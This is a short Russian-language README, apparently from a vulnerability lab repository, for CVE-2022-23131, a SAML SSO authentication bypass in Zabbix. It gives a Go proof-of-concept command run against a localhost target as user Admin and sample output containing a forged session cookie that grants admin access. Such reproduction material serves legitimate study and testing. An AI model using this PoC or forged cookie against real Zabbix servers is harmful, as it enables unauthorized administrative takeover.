Уязвимость обхода аутентификации SAML SSO в Zabbix CVE-2022-23131

Окружение и PoC для CVE-2022-23131

Окружение

Вы можете развернуть Zabbix с SAML SSO, следуя шагам в Окружение Zabbix для CVE-2022-23131.

PoC

PoC был модифицирован на основе jweny

Использование:

go run poc.go check -t http://localhost:8080 -u Admin

[INFO] 2022/02/24 19:49 vul exist! target: http://localhost:8080, cookie: eyJzYW1sX2RhdGEiOnsidXNlcm5hbWVfYXR0cmlidXRlIjoiQWRtaW4ifSwic2Vzc2lvbmlkIjoiYmYyMzAxMWU1YWMyOWE1MjFlN2E1ZDZjMTAwZDQ2NjAiLCJzaWduIjoiaytKblhjVjlhQmJRa3NJc21oMVRwVEhrMGFDSTJOYkM1VGNTU1doczQ0YVIrNmpWZ1BKOGw5cWZhZlRmcjA3VGVKalNZcW5kZWRPWEtleklmS0Fjb3c9PSJ9